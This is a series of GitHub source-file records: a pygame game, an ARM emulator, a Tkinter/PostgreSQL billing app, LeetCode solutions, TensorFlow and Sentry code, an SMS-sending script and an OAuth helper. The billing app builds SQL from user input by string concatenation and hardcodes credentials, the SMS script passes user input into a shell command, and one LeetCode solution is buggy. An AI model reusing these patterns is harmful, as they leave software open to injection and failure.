self.rocket.moving_right = True\n # self.rocket.update()\n if event.key == pygame.K_LEFT:\n self.rocket.moving_left = True\n # self.rocket.update()\n if event.key == pygame.K_UP:\n self.rocket.moving_up = True\n if event.key == pygame.K_DOWN:\n self.rocket.moving_down = True\n \n def _check_keyup_events(self, event):\n \"\"\"Handle key releases.\"\"\"\n if event.key == pygame.K_RIGHT:\n self.rocket.moving_right = False\n if event.key == pygame.K_LEFT:\n self.rocket.moving_left = False\n if event.key == pygame.K_UP:\n self.rocket.moving_up = False\n if event.key == pygame.K_DOWN:\n self.rocket.moving_down = False\n\nclass Rocket:\n \"\"\"Class for managing a rocket.\"\"\"\n\n def __init__(self, game_assets):\n self.screen = game_assets.screen\n self.screen_rect = self.screen.get_rect()\n\n # Load the image, get its rect\n self.image = pygame.image.load('images/ship.bmp')\n self.image_rect = self.image.get_rect()\n\n # position the rocket to the middle of the screen\n # the image's center coordinates are set to the center coordinates of the screen\n self.image_rect.center = self.screen.get_rect().center\n\n # flags for movement\n self.moving_right = False\n self.moving_left = False\n self.moving_up = False\n self.moving_down = False\n\n def blit_rocket(self):\n self.screen.blit(self.image, self.image_rect)\n\n def update(self):\n \"\"\"Updates the position of the rocket every time the arrow keys are pressed.\"\"\"\n if self.moving_right and self.image_rect.right < self.screen_rect.right:\n self.image_rect.x += 1\n if self.moving_left and self.image_rect.left > 0:\n self.image_rect.x -= 1\n if self.moving_up and self.image_rect.top > 0:\n self.image_rect.y -= 1\n if self.moving_down and self.image_rect.bottom < self.screen_rect.bottom:\n self.image_rect.y += 1\n\n\nif __name__ == '__main__':\n screen = Main()\n screen.run_game()","repo_name":"abdul8117/alien_invasion","sub_path":"tiys/Rocket/rocket.py","file_name":"rocket.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"28118597251","text":"#!/usr/bin/env python3\nfrom collections import defaultdict\n\nfrom dtype import *\n\nclass MemoryHook(object):\n def __init__(self, ldr_hook, str_hook):\n self.__ldr_hook = ldr_hook\n self.__str_hook = str_hook\n\n @property\n def ldr(self):\n return self.__ldr_hook\n\n @property\n def str(self):\n return self.__str_hook\n\nclass ARM(object):\n conditional_suffices = {'eq', 'ne', 'cs', 'hs', 'cc', 'lo', 'mi', 'pl',\n 'vs', 'vc', 'hi', 'ls', 'ge', 'lt', 'gt', 'le', 'al', ''}\n def __init__(self, memory=defaultdict(Value), mem_hook=None):\n self.__registers = {}\n self.__flags = {\n \"N\": False,\n \"Z\": False,\n \"C\": False,\n \"V\": False,\n }\n self.__memory = memory\n self.__mem_hook = mem_hook\n self.last_fp_ldr_from_addr = None\n\n def __conditional_execution__(self, suffix):\n # Source: http://davespace.co.uk/arm/introduction-to-arm/conditional.html\n if suffix == \"\":\n # Original instruction with no suffix\n return True\n if suffix == \"eq\":\n # Equal: Z\n return self.flags[\"Z\"]\n if suffix == \"ne\":\n # Not equal: !Z\n return not self.flags[\"Z\"]\n if suffix == \"cs\":\n # Carry set / unsigned higher or same: C\n return self.flags[\"C\"]\n if suffix == \"hs\":\n # Carry set / unsigned higher or same: C\n return self.flags[\"C\"]\n if suffix == \"cc\":\n # Carry clear / unsigned lower: !C\n return not self.flags[\"C\"]\n if suffix == \"lo\":\n # Carry clear / unsigned lower: !C\n return not self.flags[\"C\"]\n if suffix == \"mi\":\n # Minus / negative: N\n return self.flags[\"N\"]\n if suffix == \"pl\":\n # Plus / positive or zero: !N\n return not self.flags[\"N\"]\n if suffix == \"vs\":\n # Overflow: V\n return self.flags[\"V\"]\n if suffix == \"vc\":\n # No overflow: !V\n return not self.flags[\"V\"]\n if suffix == \"hi\":\n # Unsigned higher: C and !Z\n return self.flags[\"C\"] and not self.flags[\"Z\"]\n if suffix == \"ls\":\n # Unsigned lower or same: !C or Z\n return not self.flags[\"C\"] or self.flags[\"Z\"]\n if suffix == \"ge\":\n # Signed greater than or equal: N == V\n return self.flags[\"N\"] == self.flags[\"V\"]\n if suffix == \"lt\":\n # Signed less than: N != V\n return self.flags[\"N\"] != self.flags[\"V\"]\n if suffix == \"gt\":\n # Signed greater than: !Z and (N == V)\n return not self.flags[\"Z\"] and (self.flags[\"N\"] == self.flags[\"V\"])\n if suffix == \"le\":\n # Signed less than or equal: Z or (N != V)\n return self.flags[\"Z\"] or (self.flags[\"N\"] != self.flags[\"V\"])\n if suffix == \"al\":\n # Always (default): any\n return True\n\n def __decompose_mnemonic__(self, mnemonic):\n '''\n Decompose mnemonic into 'S' appendix and conditions\n '''\n supported_mnemonics = [\n \"ldr\", \"ldrb\", \"ldrsb\", \"ldrh\", \"ldrsh\", \"str\", \"strb\", \"strh\", \"ldm\", \"stm\",\n \"add\", \"sub\", \"adc\", \"sbc\", \"mul\", \"and\", \"orr\", \"eor\", \"bic\", \"lsl\", \"lsr\",\n \"mov\", \"mvn\", \"cmp\", \"cmn\", \"teq\", \"tst\", \"b\", \"bl\",\n ]\n for candidate_mnemonic in supported_mnemonics:\n if mnemonic.startswith(candidate_mnemonic):\n if mnemonic == candidate_mnemonic:\n return candidate_mnemonic, False, \"\"\n if mnemonic[len(candidate_mnemonic):] in self.conditional_suffices:\n return candidate_mnemonic, False, mnemonic[len(candidate_mnemonic):]\n if mnemonic[len(candidate_mnemonic):].startswith(\"s\") and mnemonic[len(candidate_mnemonic)+1:] in self.conditional_suffices:\n return candidate_mnemonic, True, mnemonic[len(candidate_mnemonic)+1:]\n raise Exception(\"Unknown mnemonic {}\".format(mnemonic))\n\n def execute(self, addr, inst):\n self.registers[\"pc\"] = Value(addr.value) + 8\n mnemonic, update_flags, cond_suffix = self.__decompose_mnemonic__(inst.mnemonic)\n # Check conditional execution\n if self.__conditional_execution__(cond_suffix):\n if mnemonic in {\"ldr\", \"ldrb\", \"ldrsb\", \"ldrh\", \"ldrsh\"} and update_flags == False:\n masking = {\n \"ldr\": lambda value: value & 0xFFFFFFFF,\n \"ldrb\": lambda value: value & 0xFF,\n \"ldrsb\": lambda value: value & 0xFF | (0xFFFFFF00 if value >> 7 & 0x1 == 1 else 0),\n \"ldrh\": lambda value: value & 0xFFFF,\n \"ldrsh\": lambda value: value & 0xFFFF | (0xFFFF0000 if value >> 15 & 0x1 == 1 else 0),\n }\n Rt, target_addr_str = inst.op_str.split(', ', 1)\n if ',' in target_addr_str:\n # Assumes pre-indexing only\n with_update = False\n if target_addr_str.endswith(\"!\"):\n # Pre-Indexing with update\n with_update = True\n target_addr_str = target_addr_str.strip(\"!\")\n # Assumes immediate offset only\n Rn, target_addr_offset_str = target_addr_str.strip(\"[]\").split(', ', 1)\n offset = int(target_addr_offset_str.strip('#'), 0)\n target_addr = Address(self.registers[Rn].value + offset)\n if with_update:\n self.registers[Rn] = Value(target_addr.value)\n else:\n Rn = target_addr_str.strip(\"[]\")\n target_addr = Address(self.registers[Rn].value)\n if self.__mem_hook is None or self.__mem_hook.ldr is None:\n self.registers[Rt] = masking[mnemonic](self.memory[target_addr])\n else:\n self.registers[Rt] = masking[mnemonic](self.__mem_hook.ldr(self, target_addr))\n if Rt == \"fp\":\n self.last_fp_ldr_from_addr = target_addr\n elif mnemonic in {\"str\", \"strh\", \"strb\"} and update_flags == False:\n mask = {\n \"str\": 0xFFFFFFFF,\n \"strb\": 0xFF,\n \"strh\": 0xFFFF,\n }\n Rt, target_addr_str = inst.op_str.split(', ', 1)\n if ',' in target_addr_str:\n # Assumes pre-indexing only\n with_update = False\n if target_addr_str.endswith(\"!\"):\n # Pre-Indexing with update\n with_update = True\n target_addr_str = target_addr_str.strip(\"!\")\n # Assumes immediate offset only\n Rn, target_addr_offset_str = target_addr_str.strip(\"[]\").split(', ', 1)\n offset = int(target_addr_offset_str.strip('#'), 0)\n target_addr = Address(self.registers[Rn].value + offset)\n if with_update:\n self.registers[Rn] = Value(target_addr.value)\n else:\n Rn = target_addr_str.strip(\"[]\")\n target_addr = Address(self.registers[Rn].value)\n if self.__mem_hook is None or self.__mem_hook.str is None:\n self.memory[target_addr] = self.registers[Rt] & mask[mnemonic]\n else:\n self.__mem_hook.str(self, target_addr, self.registers[Rt] & mask[mnemonic])\n elif mnemonic in {\"ldm\"} and update_flags == False:\n # Assumes addr_mode = IA only\n Rn, reglist_str = inst.op_str.split(', ', 1)\n reglist = reglist_str.strip('{}').split(', ')\n for reg in reglist:\n target_addr = Address(self.registers[Rn].value)\n if self.__mem_hook is None or self.__mem_hook.ldr is None:\n self.registers[reg] = self.memory[target_addr]\n else:\n self.registers[reg] = self.__mem_hook.ldr(self, target_addr)\n self.registers[Rn] += 4\n elif mnemonic in {\"stm\"} and update_flags == False:\n # Assumes addr_mode = IA only\n Rn, reglist_str = inst.op_str.split(', ', 1)\n reglist = reglist_str.strip('{}').split(', ')\n for reg in reglist:\n target_addr = Address(self.registers[Rn].value)\n if self.__mem_hook is None or self.__mem_hook.str is None:\n self.memory[target_addr] = self.registers[reg]\n else:\n self.__mem_hook.str(self, target_addr, self.registers[reg])\n self.registers[Rn] += 4\n elif mnemonic in {\"add\", \"sub\", \"adc\", \"sbc\", \"mul\", \"and\", \"orr\", \"eor\", \"bic\", \"lsl\", \"lsr\"}:\n Rd, Rn, op2 = inst.op_str.split(', ')\n op1 = self.registers[Rn]\n # Assume op2 is either #imm16 or [Rn]\n if op2.startswith('#'):\n op2 = Value(int(op2.strip('#'), 0))\n else:\n op2 = self.registers[op2]\n ops = {\n \"add\": lambda a, b: a + b,\n \"sub\": lambda a, b: a - b,\n \"adc\": lambda a, b: a + b + (1 if self.flags[\"C\"] else 0),\n \"sbc\": lambda a, b: a - b - (0 if self.flags[\"C\"] else 1),\n \"mul\": lambda a, b: a * b,\n \"and\": lambda a, b: a & b,\n \"orr\": lambda a, b: a | b,\n \"eor\": lambda a, b: a ^ b,\n \"bic\": lambda a, b: a & (-b-1),\n \"lsl\": lambda a, b: a << b,\n \"lsr\": lambda a, b: a >> b,\n }\n result = ops[mnemonic](op1, op2)\n result_value = ops[mnemonic](op1.value, op2.value)\n result_signed = ops[mnemonic](op1.signed_value, op2.signed_value)\n result_msb = result >> 31\n self.registers[Rd] = result\n if update_flags:\n if mnemonic in {\"add\", \"sub\", \"adc\", \"sbc\", \"mul\"}:\n self.flags[\"C\"] = True if result != result_value else False\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n self.flags[\"V\"] = True if result.signed_value != result_signed else False\n elif mnemonic in {\"and\", \"orr\", \"eor\", \"bic\"}:\n # Does not update the C flag because no calculation was\n # done for op2\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n # Does not affect the V flag\n elif mnemonic in {\"lsl\", \"lsr\"}:\n # The C flag is unaffected if the shift value is 0.\n # Otherwise, the C flag is updated to the last bit\n # shited out\n if op2 != 0:\n if mnemonic == \"lsl\":\n self.flags[\"C\"] = True if op1 >> 31 == 1 else False\n else:\n self.flags[\"C\"] = True if op1 & 1 == 1 else False\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n elif mnemonic in {\"mov\", \"mvn\"}:\n Rd, op2 = inst.op_str.split(', ')\n # Assume op2 is either #imm16 or [Rn]\n if op2.startswith('#'):\n self.registers[Rd] = Value(int(op2.strip('#'), 0))\n else:\n self.registers[Rd] = self.registers[op2]\n if mnemonic == \"mvn\":\n # Performs a bitwise logical NOT operation on the value\n self.registers[Rd] = ~self.registers[Rd]\n if update_flags:\n # Does not update the C flag because no calculation was\n # done for op2\n result_msb = self.registers[Rd] >> 31\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if self.registers[Rd] == 0 else False\n # Does not affect the V flag\n elif mnemonic in {\"cmp\", \"cmn\"} and update_flags == False:\n Rn, op2 = inst.op_str.split(', ')\n op1 = self.registers[Rn]\n # Assume op2 is either #imm16 or [Rn]\n if op2.startswith('#'):\n op2 = Value(int(op2.strip('#'), 0))\n else:\n op2 = self.registers[op2]\n if mnemonic == \"cmp\":\n # CMP is the same as SUBS\n result = op1 - op2\n result_value = op1.value - op2.value\n result_signed = op1.signed_value - op2.signed_value\n else:\n # CMN is the same as ADDS\n result = op1 + op2\n result_value = op1.value + op2.value\n result_signed = op1.signed_value + op2.signed_value\n result_msb = result >> 31\n self.flags[\"C\"] = True if result != result_value else False\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n self.flags[\"V\"] = True if result.signed_value != result_signed else False\n elif mnemonic in {\"teq\", \"tst\"} and update_flags == False:\n Rn, op2 = inst.op_str.split(', ')\n op1 = self.registers[Rn]\n # Assume op2 is either #imm16 or [Rn]\n if op2.startswith('#'):\n op2 = Value(int(op2.strip('#'), 0))\n else:\n op2 = self.registers[op2]\n if mnemonic == \"teq\":\n # TEQ is the same as EORS\n result = op1 ^ op2\n else:\n # TST is the same as ANDS\n result = op1 & op2\n result_msb = result >> 31\n # Does not update the C flag because no calculation was\n # done for op2\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n # Does not affect the V flag\n elif mnemonic in {\"b\", \"bl\"}:\n branch_addr = Address(int(inst.op_str.strip('#'), 0))\n if mnemonic == \"bl\":\n self.registers[\"lr\"] = Value(addr.value + 4)\n return branch_addr\n else:\n raise Exception(\"{}: Unknown mnemonic {}\".format(addr, inst.mnemonic))\n\n @property\n def registers(self):\n return self.__registers\n\n @property\n def flags(self):\n return self.__flags\n\n @property\n def memory(self):\n return self.__memory\n","repo_name":"AutoFuzzer/AutoFuzzer","sub_path":"arm.py","file_name":"arm.py","file_ext":"py","file_size_in_byte":15601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31562588110","text":"import numpy as np\nimport xlsxwriter\n\ndef excel_init(name):\n time = 0\n workbook = xlsxwriter.Workbook(name + '.xlsx')\n worksheet = workbook.add_worksheet()\n worksheet.write(time, 0, \"Data\") # Writes an int\n worksheet.write(time, 1, \"time\") # Writes a float\n return workbook, worksheet, time\n\ndef find_consecutive_3p_zero(index):\n count = 0\n for i in range(len(index)-2):\n t1 = index[i]\n t2 = index[i+1]\n t3 = index[i+2]\n if (t2-t1) !=1 :\n continue\n else:\n if (t3-t2) !=1 :\n continue\n else:\n # print(t1,t2,t3)\n count+=1\n return count\nGesture = [\"circle\", \"eight\", \"rectangle\", \"up\", \"down\", \"left\", \"right\"]\n# Gesture = [\"circle\"]\nhead_path = 'C:/Users/user/Desktop/thmouse_training_data/'\nworkbook,worksheet ,time = excel_init(\"show3point_zero_number\")\nfor i in Gesture:\n for j in range(2, 4):\n tmp_path = head_path + i + \"/time\" + str(j) + \"/\"\n title = i + \" of /time\" + str(j)\n path = tmp_path\n out_cam_p = np.load(path + 'out_cam_p.npy', allow_pickle=True)\n radar = np.load(path + 'out_radar_p.npy', allow_pickle=True)\n print(radar.shape)\n index = []\n for k in range(len(radar)):\n # print(f\"Number of Zeroes in Array -->{radar[k][np.where(radar[k] != 0)].size}/{radar[k][np.where(radar[k] == 0)].size}\")\n if radar[k][np.where(radar[k] != 0)].size == 0:\n index.append(k)\n\n cc = find_consecutive_3p_zero(index)\n time += 1\n worksheet.write(time, 0, i+ \"/time\" + str(j) + \"/sliding data/ countinuse 3p zeros\") # Writes an int\n worksheet.write(time, 1, cc) # Writes a float\n print(i + \"/time\" + str(j) + \"/sliding data/ countinuse 3p zeros : {}\".format(cc))\n\nworkbook.close()","repo_name":"t109368038/ML_thumouse","sub_path":"test/find_consecutive_3p_zero.py","file_name":"find_consecutive_3p_zero.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73443055400","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 8 06:26:28 2021\r\n\r\n@author: Paradoxe\r\n\"\"\"\r\nfrom string import punctuation\r\nfrom tkinter import *\r\nimport psycopg2\r\nimport tkinter.messagebox\r\nfrom datetime import date\r\nimport time\r\n\r\n\r\n\r\n #\"\"\"connexion a la base de données\"\"\"\r\n \r\n \r\nDATABASE = \"kali_db2\" #nom de la base de donnée\r\nUSER = \"kali\" #propriétaire de la bd\r\nPASSWORD = \"kali\" # mot de passe d'accès\r\nHOST = \"localhost\" #adresse ip du serveur, ici on est en local\r\n \r\n\r\n #Établissement de la connexion . Création du curseur\"\r\ntry:\r\n con = psycopg2.connect(\"host=%s dbname=%s user=%s password=%s\" % (HOST, DATABASE, USER, PASSWORD))\r\n \r\nexcept Exception as err:\r\n print('La connexion a la base de donnée a échoué : \\n'\\\r\n 'Erreur détecté :\\n%s' % err)\r\n echec =1\r\nelse:\r\n cursor = con.cursor() #création du curseur\r\n echec =0\r\n \r\nif echec:\r\n sys.exit()\r\n \r\nprixtt=0\r\nproduitlist = []\r\nquantitelist = []\r\nprixlist = []\r\n \r\nglobal numero \r\n \r\nclass Contenir():\r\n #cette classe servira a gerer les achats d'un client\r\n def __init__(self,num_caissier, num_produit,nom_produit,quantite,prix,\r\n nom_client, tel_client,tel_caissier):\r\n \r\n self.num_caissier=num_caissier.get()\r\n \r\n \r\n \r\n \r\n self.quantite=quantite.get()\r\n \r\n \r\n self.nom_client=nom_client.get()\r\n \r\n \r\n self.tel_client=tel_client.get()\r\n self.tel_caissier=tel_caissier.get() \r\n \r\n \r\n def ecrire():\r\n \r\n #numfacture=num_facture.get()\r\n \r\n \r\n nomclient=nom_client.get()\r\n telclient=Tel_client.get()\r\n numcaissier=num_caissier.get()\r\n \r\n \r\n if nomclient==\"\" or numcaissier==\"\":\r\n messagebox.showerror(\"Facture\", \"Toutes les informations du client ne sont pas renseignés.\")\r\n else:\r\n con = psycopg2.connect(\"host=%s dbname=%s user=%s password=%s\" % (HOST, DATABASE, USER, PASSWORD))\r\n cursor = con.cursor()\r\n cursor.execute(\"INSERT INTO Clients (num_client, nom_client, tel_client) VALUES (nextval('client_seq'),'\" + nomclient + \"', '\" + telclient +\"')\")\r\n con.commit()\r\n \r\n cursor.execute(\"SELECT num_client FROM Clients WHERE nom_client = '%s' AND tel_client = '%s'\" %(nomclient, telclient))\r\n rows = cursor.fetchall()\r\n numclient=rows[0][0]\r\n print(numclient, type(numclient))\r\n cursor.execute(\"INSERT INTO Factures (num_facture, prix_total, date, num_client, num_caissier) VALUES (nextval('fact_seq'),'%s', '%s','%s','%s')\"%(prixtt,date.today().isoformat(),numclient,numcaissier))\r\n con.commit()\r\n \r\n con.close()\r\n \r\n root.destroy()\r\n #txtarea.insert(END, \"\\t\\t\\t\\t\\t \"+date.today().isoformat()\r\n txtarea.insert(END, \"\\t\\t\\t\\t\\t \"+time.strftime(\"%A %d %B %Y %H:%M:%S\"))\r\n txtarea.insert(END, \"\\n\\n\\t\\t\\t\\tBoutique Numero 5698\")\r\n #txtarea.insert(END, \"\\nFacture numéro : \"+numfacture)\r\n txtarea.insert(END, \"\\n\\n================================================================================\")\r\n \r\n txtarea.insert(END, \"\\n\\nNumero du client : 000\"+str(numclient))\r\n txtarea.insert(END, \"\\nNom du client : \"+nomclient)\r\n txtarea.insert(END, \"\\nNumero du caissiers : 000\"+str(numcaissier))\r\n #txtarea.insert(END, \"\\nNom du caissiers : \"+nomcaissier)\r\n txtarea.insert(END, \"\\n\\n================================================================================\")\r\n txtarea.insert(END, \"\\n\\nProduits\")\r\n txtarea.insert(END, \"\\t\\t\\t\\tQuantité\")\r\n txtarea.insert(END, \"\\t\\t\\t\\tPrix Unitaire \\n\")\r\n i = 0\r\n while(i i)\n\n# The origin problem find a subarry whose sum equals to k (preSum[j] - preSum[i]) can be changed to find a subarray whose sum equals to preSum[i] (preSum[j] - k)\n\nclass Solution(object):\n def subarraySum(self, nums, k):\n res = {}\n res[0] = 1 #We've already seen presum = 0 before iteration\n ans = 0\n presum = 0\n for i in nums:\n presum += i\n ans += res[presum-k]\n res[presum] += 1\n return ans","repo_name":"LTPhat/LeetCode","sub_path":"Python/560. Subarray Sum Equals K.py","file_name":"560. Subarray Sum Equals K.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"4004423114","text":"import numpy as np\n\nfrom tensorflow.core.framework import summary_pb2\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.platform import test\nfrom tensorflow.python.summary import summary\n\n\nclass SummaryV1AudioOpTest(test.TestCase):\n\n def _AsSummary(self, s):\n summ = summary_pb2.Summary()\n summ.ParseFromString(s)\n return summ\n\n def _CheckProto(self, audio_summ, sample_rate, num_channels, length_frames):\n \"\"\"Verify that the non-audio parts of the audio_summ proto match shape.\"\"\"\n # Only the first 3 sounds are returned.\n for v in audio_summ.value:\n v.audio.ClearField(\"encoded_audio_string\")\n expected = \"\\n\".join(\"\"\"\n value {\n tag: \"snd/audio/%d\"\n audio { content_type: \"audio/wav\" sample_rate: %d\n num_channels: %d length_frames: %d }\n }\"\"\" % (i, sample_rate, num_channels, length_frames) for i in range(3))\n self.assertProtoEquals(expected, audio_summ)\n\n def testAudioSummary(self):\n np.random.seed(7)\n for channels in (1, 2, 5, 8):\n with self.session(graph=ops.Graph()) as sess:\n num_frames = 7\n shape = (4, num_frames, channels)\n # Generate random audio in the range [-1.0, 1.0).\n const = 2.0 * np.random.random(shape) - 1.0\n\n # Summarize\n sample_rate = 8000\n summ = summary.audio(\n \"snd\", const, max_outputs=3, sample_rate=sample_rate)\n value = self.evaluate(summ)\n self.assertEqual([], summ.get_shape())\n audio_summ = self._AsSummary(value)\n\n # Check the rest of the proto\n self._CheckProto(audio_summ, sample_rate, channels, num_frames)\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/kernel_tests/summary_ops/summary_v1_audio_op_test.py","file_name":"summary_v1_audio_op_test.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"33086056084","text":"from __future__ import absolute_import\nimport re\n\n# Environment.OSVersion (GetVersionEx) or RuntimeInformation.OSDescription, on Windows\n_windows_re = re.compile('^(Microsoft )?Windows (NT )?(?P\\d+\\.\\d+\\.\\d+).*$')\n# Environment.OSVersion or RuntimeInformation.OSDescription (uname)\n# on Mono and CoreCLR on macOS, iOS, Linux, etc\n_uname_re = re.compile('^(?P[a-zA-Z]+) (?P\\d+\\.\\d+\\.\\d+(\\.[1-9]+)?).*$')\n# Mono 5.4, .NET Core 2.0\n_runtime_re = re.compile('^(?P.*) (?P\\d+\\.\\d+(\\.\\d+){0,2}).*$')\n\n\ndef normalize_os(data):\n raw_description = data.get('raw_description')\n # If there's no name and version, attempts to infer from raw_description\n if raw_description is not None \\\n and data.get('name') is None \\\n and data.get('version') is None:\n r = _windows_re.search(raw_description)\n if r:\n data['name'] = 'Windows'\n data['version'] = r.group('version')\n else:\n r = _uname_re.search(raw_description)\n if r:\n data['name'] = r.group('name')\n data['kernel_version'] = r.group('version')\n\n\ndef normalize_runtime(data):\n raw_description = data.get('raw_description')\n # If there's no name and version, attempts to infer from raw_description\n if raw_description is not None \\\n and data.get('name') is None \\\n and data.get('version') is None:\n r = _runtime_re.search(raw_description)\n if r:\n data['name'] = r.group('name')\n data['version'] = r.group('version')\n\n # RuntimeInformation.FrameworkDescription doesn't return a very useful value.\n # example: .NET Framework 4.7.3056.0\n # Release key dug from registry and sent as #build\n if data.get('name').startswith('.NET Framework'):\n build = data.get('build')\n\n if build is not None:\n version_map = {\n \"378389\": \"4.5\",\n \"378675\": \"4.5.1\",\n \"378758\": \"4.5.1\",\n \"379893\": \"4.5.2\",\n \"393295\": \"4.6\",\n \"393297\": \"4.6\",\n \"394254\": \"4.6.1\",\n \"394271\": \"4.6.1\",\n \"394802\": \"4.6.2\",\n \"394806\": \"4.6.2\",\n \"460798\": \"4.7\",\n \"460805\": \"4.7\",\n \"461308\": \"4.7.1\",\n \"461310\": \"4.7.1\",\n \"461808\": \"4.7.2\",\n \"461814\": \"4.7.2\",\n }\n version = version_map.get(build, None)\n if version is not None:\n data['version'] = version\n","repo_name":"fictional-tribble-2/getsentry--sentry","sub_path":"src/sentry/utils/contexts_normalization.py","file_name":"contexts_normalization.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"23931889245","text":"import requests\nimport os\nprint(\"Made with Love by ❤️❤️❤️Rohan Raj❤️❤️❤️\")\nprint(\"Version 1.0\")\nprint(\"\\033[91m Checking dependencies... \\033[0m\")\nos.system(\"bash Requirements.sh\")\ndef menu() :\n print(\"1):- Send a Message to Any Number\")\n print(\"2):- Check if the Message is Delivered or not\")\ndef control() :\n ctrl = input(\"What are You Gonna Choose : \")\n if ctrl == \"1\" :\n sms()\n elif ctrl == \"2\" :\n status()\n else :\n print(\"Invalid number\")\ndef sms() :\n phone_no = input(\"Please Enter Your Country Code and Phone Number With a Plus \\n Example :- +911122334455:\\n \")\n msg = input(\"message to send : \")\n\n resp = requests.post('https://textbelt.com/text',{\n\t'phone' : phone_no,\n\t'message' : msg ,\n\t'key' : 'textbelt'\n })\n\n print(resp.text)\n if '\"success\" : true' in resp.text :\n print('Your Message is Delivered! ')\n if '\"success\" : false' in resp.text :\n print(\"Failed to Send Message!\\n Sorry!! Try again!! \")\ndef status() :\n textID = input(\"Enter textID of sms : \") \n os.system(f\"curl https://textbelt.com/status/{textID}\")\nos.system(\"clear\")\nos.system(\"toilet --gay -f ascii9.tlf 'SMS_Sender' \")\nprint(\"\\033[96mMade with Love by --Hacker Rohan Raj--\")\nmenu()\ncontrol()\n","repo_name":"rohanraj-aipro/Free-SMS-Sender","sub_path":"SMS-SENDER.py","file_name":"SMS-SENDER.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"70152792040","text":"'''\nCreated by Ming Li at 2019-02-17\n\nFeature: \n\nDescription:\nhttps://www.jianshu.com/p/3ef0e4e1114d\nhttps://www.youtube.com/watch?v=CUzm-buvH_8\n\nContact: ming.li2@columbia.edu\n'''\nclass DFS: # 也可以把 backtracking 当成 DFS\n def subsets(self, S):\n self.result = []\n self.backtrack(0, sorted(S), [])\n return self.result\n\n # 这个是模板啊~\n def backtrack(self, start, S, temp):\n self.result.append(temp[:]) # also use the [:] to represent copy()\n for i in range(start , len(S)):\n temp.append(S[i])\n # print(temp)\n self.backtrack(i + 1, S, temp)\n temp.pop()\n \nsolu = DFS()\nresult = solu.subsets(S = [2,3,5,7])\n# print(result)\n\n# best choice\nclass solu2:\n '''\n time complexity: O(n * 2^n)\n space complexity: O(n) the recursion depth\n '''\n \n def subsets(self, nums):\n ans = []\n \n \n def dfs(n, start, curr):\n # combinations of Cm, n) if we use dfs(n, 0, []),\n # where m = len(nums), n is the n input\n if len(curr) == n:\n ans.append(curr.copy()) # must use copy() here, otherwise, it will be empty list\n return\n for i in range(start, len(nums)):\n curr.append(nums[i])\n dfs(n, i+1, curr)\n curr.pop()\n \n for i in range(len(nums)+1):\n dfs(i, 0, [])\n return ans\n \nsolu2 = solu2()\nresult = solu2.subsets(nums = [2,3,5,7])\nprint(result)\n\n'''\nthis problem can be tricky, the key point is to use\nthe recursion tree to understand the DFS goes when\nfirst encounter this kinds of problem\n'''\n\n\n# method 2\n# can only be applied for the combination, where we have something like the O(2^n)\n# for the O(2^n), we get the bit operations into system\n\ndef subsets(nums):\n n = len(nums)\n ans = []\n # areturn [[nums[i] for i in range(n) if s & 1 << i > 0] for s in range(1 << n)]\n for s in range(1 << n):\n ans.append([nums[i] for i in range(n) if s & 1 << i > 0])\n return ans\n# print(subsets([1,2,3]))\n\n\n# last one - submission version\nclass Solution:\n def subsets(self, nums: 'List[int]') -> 'List[List[int]]':\n '''\n # method 1: the bit operation\n ans = []\n n = len(nums)\n for s in range(1 << n):\n ans.append([nums[i] for i in range(n) if s & 1 << i > 0])\n return ans\n '''\n \n # method 2: the dfs and backtracking\n self.ans = []\n for i in range(len(nums)+1):\n self.backtracking(nums, i, 0, [])\n return self.ans\n \n def backtracking(self, nums, length, start, cur):\n if len(cur) == length:\n self.ans.append(cur[:])\n return\n for i in range(start, len(nums)):\n cur.append(nums[i])\n self.backtracking(nums, length, i + 1, cur)\n cur.pop()\n\n\nprint(Solution().subsets([1,2,3]))","repo_name":"leemingee/CoolStuff","sub_path":"torch_trial/backtracking/subset.py","file_name":"subset.py","file_ext":"py","file_size_in_byte":2960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"42506522159","text":"\"\"\"A general module to use OAuth2.\n\n(c) 2015 Morning Project Samurai\n\nThis file is part of modmps.\nmodmps is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License.\n\nmodmps is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\nYou should have received a copy of the GNU General Public License\nalong with Foobar. If not, see .\n\"\"\"\n\n__author__ = 'Junya Kaneko '\n\nfrom modmps.http.api_executor import ApiExecutor\n\nclass AuthRequester(ApiExecutor):\n def __init__(self,\n base_url, client_id, response_type='code', redirect_uri=None, scope=None, state=None, extra_params={}):\n params = {\n 'response_type': response_type,\n 'client_id': client_id,\n 'redirect_uri': redirect_uri,\n 'scope': scope,\n 'state': state,\n }\n\n 